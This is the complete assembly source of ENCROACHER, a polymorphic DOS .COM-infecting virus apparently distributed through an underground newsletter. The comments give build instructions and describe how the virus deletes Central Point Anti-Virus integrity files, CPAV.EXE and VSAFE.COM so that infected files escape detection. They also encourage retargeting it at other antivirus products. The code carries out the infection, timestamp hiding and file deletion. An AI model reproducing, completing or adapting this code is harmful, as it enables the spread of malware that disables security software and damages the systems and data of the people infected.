Underground/Underground CD1.iso/virii/zrodla/e/encroach.asm

Assembly Source File | 1998-01-14 | 12.8 KB | 339 lines

;***************************************************************************
; The ENCROACHER virus: Incorporating anti-virus software countermeasures
; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
; protected system. Some of the ideas in ENCROACHER were inspired by Mark
; Ludwig's RETALIATOR virus (American Eagle Publishing) and Nowhere Man's
; VCL 1.0 viral assembly code library. ENCROACHER also utilizes the Mutation
; Engine for polymorphism. Edited by URNST KOUCH for Crypt Newsletter #8.
;
;  1. Assemble with TASM 2.5 with the aid of MAKE.BAT, included in issue #8.
;  2. The reader must also have the MtE091b object files (not included in
;  the newsletter but commonly available as the Mutation Engine at most
;  good virus info archive sites.)
;  3. Place all files in ENCROACHER assembly directory.
;  4. Execute MAKE.BAT with TASM 2.5 and TLINK.EXE in path.
;
; ENCROACHER is a simple .COM appending virus which strikes the Central Point
; Anti-virus software in a direct manner.  CPAV stores a file called
; chklist.cps in every directory that contains executable programs. This file
; contains the integrity (or checksum) data on each program in that
; directory. It is the library file that CPAV refers to when scanning for
; unknown viruses. By comparing 'newly checksummed' files with its data
; in chklist.cps, CPAV locates change, corruption or generic virus infection.
; Eliminating these files before virus infection forces Central Point
; Antivirus to create new 'checklist' data for the directory, AFTER the
; virus has acted.  Therefore, the virus-infected file becomes
; a legal part of Central Point's freshly calculated integrity data.
; Upon call, ENCROACHER will ALWAYS check for and erase these files, forcing
; the anti-virus software to constantly update its data, effectively
; making this feature unreliable.  In my experience,
; the CPAV software does not protest the elimination of these files in an
; appropriate manner.
;
; ENCROACHER will also attempt to erase the main CENTRAL POINT A-V program
; in its default installation directory before infection.  This is a
; direct attack and is more likely to be noticed than the
; disappearance and reappearance of dozens of very small chklist.cps
; files. Because it is a strong move, one can be of mixed mind about using it.
; An alert user SHOULD recognize something wrong almost immediately.
; However, it is included to illustrate the point that while it presumes
; apriori knowledge concerning the location of CPAV software on the system,
; many users can STILL be expected to be lazy (and/or stupid) and use the
; vulnerable shrink-wrapped software recommendations for installation.
;
; ENCROACHER will also target and delete VSAFE.COM, CPAV's most powerful
; program for the detection of virus-mediated opening, closing and writing
; to files. (The CPAV software also contains VSAFE as a device, VSAFE.SYS.
; The user may add attack of this component to the source code if he wishes.)
; If Central Point's DEFAULT installation is in place and VSAFE is in
; memory, ENCROACHER will remove it since, generally, the program
; is merely configured to scan for known viruses, add chklist.cps files
; to program directories and lock out writes to the boot record. If all
; of VSAFE's features are enabled, ENCROACHER WILL BE detected when it
; attempts to destroy VSAFE. However, since these VSAFE features are
; not practical for everyday computing needs, it can be
; assumed relatively safe to disregard them as a threat to ENCROACHER. (The
; reader is invited to add a routine which will make a call to VSAFE
; if in memory. If VSAFE is resident, the routine could be written to
; instruct the virus to go to sleep until the danger is past.)
;
; Central Point Anti-virus contains a third program known as VWATCH. It
; can be safely ignored by ENCROACHER.
;
; ENCROACHER's anti-virus software countermeasures can be quickly adapted
; to almost any commercial software of choice.  Access to manuals or
; copies of the Norton Antivirus, Fifth Generation's Untouchable or
; Leprechaun Software's Virus-Buster have all the information needed to
; allow the homebrew researcher to reconfigure the virus so that it can
; attack these programs in an educated manner.
;
; ENCROACHER2 is a variant of ENCROACHER supplied as a DEBUG script.
; In addition to it's anti- CPAV capability, ENCROACHER2 will poison selected
; programs sometime in the evening hours.
;
; General features: ENCROACHER will infect all .COM programs in its current
; directory. When finished, it will jump to the root of the current directory
; and continue its work.
; ENCROACHER WILL NOT restore the DTA, producing a shift at the prompt.
; (Sorry, deadline was approaching for the newsletter and I had to get this
; baby to bed.)
;
; ENCROACHER has no problem infecting COMMAND.COM or NDOS.COM!  The operating
; system WILL continue to load properly. ENCROACHER quickly deletes
; Central Point software programs on start-up. There is no noticeable
; delay in infection times between it and a copy of the virus lacking
; these features.
; ENCROACHER will quickly infect down the trunk of any directory structure.
;
; Keep in mind, that ENCROACHER 2 can be frustratingly destructive once
; it has spread out onto a system.


    .model  tiny
    .radix  16
    .code

    extrn   mut_engine: near, rnd_get: near, rnd_init: near
    extrn   rnd_buf: word, data_top: near

    org     100h

start:
    call    locadr
reladr:
    db      'ENCROACHER is here'

locadr:
    pop     dx
    mov     cl,4
    shr     dx,cl
    sub     dx,10
    mov     cx,ds
    add     cx,dx                   ;Calculate new CS
    mov     dx,offset begin
    push    cx dx
    retf
begin:
    cld
    mov     di,offset start
    push    es di
    push    cs
    pop     ds
    mov     si,offset old_cod
    movsb                           ;Restore first 3 bytes
    movsw
    push    ax
    mov     dx,offset dta_buf       ;Set DTA
    mov     ah,1a
    int     21
    mov     ax,3524                 ;Hook INT 24
    int     21
    push    es bx
    mov     dx,offset fail_err
    mov     ax,2524
    int     21
killcps:              ; clear CPS integrity files from startup directory
    mov     dx,offset killfile      ; DX points to data mask: chklist.cps
    mov     ah,04Eh                 ; DOS find first file function
    mov     cx,00100111b            ; All file attributes valid
    int     021h
    jc      erase_done              ; Exit procedure on failure
    mov     ah,02Fh                 ; DOS get DTA function
    int     021h
    lea     dx,[bx + 01Eh]          ; DX points to filename in DTA
erase_loop:
    mov     ah,041h                 ; DOS delete file function
    int     021h
    mov     ah,03Ch                 ; DOS create file function
    xor     cx,cx                   ; No attributes for new file
    int     021h
    mov     ah,041h                 ; DOS delete file function
    int     021h
    mov     ah,04Fh                 ; DOS find next file function
    int     021h
    jnc     erase_loop              ; Repeat until no files left
erase_done:


     jmp     killcpav               ; chklist.cps gone, go for CPAV.EXE
                    ; in factory installation


killcpav:              ; clear CPAV master executable from default directory
    mov     dx,offset killfile2    ; DX points to filename
    mov     ah,41h                 ; DOS erase file function
    int     21h
    jc      killvsafe

killvsafe:
    mov     dx,offset killfile3
    mov     ah,41h
    int     21h
    jc      erase_done2

erase_done2:
    jmp     getonwithit

getonwithit:                            ;get on with infecting files
    xor     ax,ax                   ;Initialize random number generator
    mov     [rnd_buf],ax            ;for Mutation Engine use
    call    rnd_init
    push    sp
    pop     cx
    sub     cx,sp
    add     cx,4
    push    cx

find_lup1:
    mov     dx,offset srchnam       ;COMfile mask for clean file search
    mov     cl,3
    mov     ah,4e                   ;find a file

find_lup2:
    int     21        ;Find the next COM file
    jc      ch_dir    ;if no files or no uninfected files in current dir, change to root
    cmp     [dta_buf+1a],ch
    jnz     infect           ;If not infected, infect it now
    pop     cx
find_nxt:
    push    cx
    mov     dx,offset dta_buf
    mov     ah,4f                 ;found an infected file, find another
    jmp     find_lup2

ch_dir:
    mov     dx,offset dotdot
    mov     ah,3bh              ; Change directory to root of current
    int     21h
    jnc     find_lup1           ; Carry set if in root
                    ; loop to search for clean files
infect_done:
    pop     cx
    loop    find_nxt
    jnc     exit2
    call    rnd_get             ;extraneous garbage code
    test    al,1                ;   "         "      "
    jz      exit2               ;   "         "      "

exit1:  popf                       ;return control and get set to clean up

exit2:
    pop     dx ds
    mov     ax,2524             ;Restore old INT 24
    int     21
    push    ss
    pop     ds
    mov     dx,80                   ;Restore DTA
    mov     ah,1a
    int     21
    push    ds                      ;Exit to host program
    pop     es
    pop     ax
    retf
infect:
    xor     cx,cx                   ;Reset read-only attribute
    mov     dx,offset dta_buf+1e
    mov     ax,4301
    int     21
    jc      infect_done             ;if fail, get set to leave
    mov     ax,3d02                 ;Open the file
    int     21
    jc      infect_done             ;if fail, get set to leave
    xchg    ax,bx
    mov     dx,offset old_cod       ;Read first 3 bytes
    mov     cx,3
    mov     ah,3f
    int     21
    jc      read_done               ;file already infected, skip it
    mov     ax,word ptr [old_cod]   ;Make sure it's not an EXE file
    cmp     ax,'ZM'
    jz      read_done               ;if it is, skip it
    cmp     ax,'MZ'
    jz      read_done
    xor     cx,cx                   ;Seek to end of file
    xor     dx,dx
    mov     ax,4202
    int     21
    test    dx,dx                   ;Make sure the file is not too big
    jnz     read_done
    cmp     ax,-2000
    jnc     read_done
    mov     bp,ax
    sub     ax,3
    mov     word ptr [new_cod+1],ax
    mov     ax,5700                 ;Save file's date/time
    int     21
    push    dx cx
    mov     ax,offset data_top+0f
    mov     cl,4                    ;Now call the Mutation Engine
    shr     ax,cl
    mov     cx,cs
    add     ax,cx
    mov     es,ax
    mov     dx,offset start         ;dx points to start of ENCROACHER
    mov     cx,offset _DATA         ;cx contains ENCROACHER length
    push    bp bx
    add     bp,dx  ;bp contains address where MtE hands control to ENCROACH
    xor     si,si                   ;si=0, MtE required value
    xor     di,di                   ;di=0, MtE required value
    mov     bl,0f                   ;bl=0f,MtE 'medium' model required
    mov     ax,101                  ;set bit-field in ax, MtE values
    call    mut_engine
    pop     bx ax
    add     ax,cx                   ;Make sure file length mod 256 = 0
    neg     ax
    xor     ah,ah
    add     cx,ax
    mov     ah,40                   ;Put the virus into the file
    int     21
    push    cs
    pop     ds
    sub     cx,ax
    xor     dx,dx                   ;Write the JMP instruction
    mov     ax,4200
    int     21
    mov     dx,offset new_cod
    mov     cx,3
    mov     ah,40
    int     21
write_done:
    pop     cx dx                   ;Restore file's date/time
    mov     ax,5701
    int     21
    jmp     read_done2

read_done:
    mov     ah,3e                   ;Close the file
    int     21
    jmp     infect_done             ;in this case, no infection so
                    ;try for another search
read_done2:
    mov     ah,3e
    int     21
    jmp     exit1                  ;successfully infected file,
                       ;jump to host execution
fail_err:                              ;Critical error handler
    mov     al,3                   ;protects ENCROACHER from exposing
    iret                           ;itself on a write-protected disk
                       ;or diskette

srchnam   db      '*.COM',0
killfile  db     'CHKLIST.CPS',0        ;CPAV file integrity data archive
killfile2 db     'C:\CPAV\CPAV.EXE',0   ;default location and name of
                    ;CPAV master program
killfile3 db     'C:\CPAV\VSAFE.COM',0  ;CPAV r/w resident protection program

old_cod:                               ;Buffer to read first 3 bytes
    ret
    dw      ?

new_cod:                               ;Buffer to write first 3 bytes
    jmp     $+100

    .data

dotdot  db      '..',0                 ;change directory trick
dta_buf db      2bh dup(?)             ;Buffer for DTA

    end     start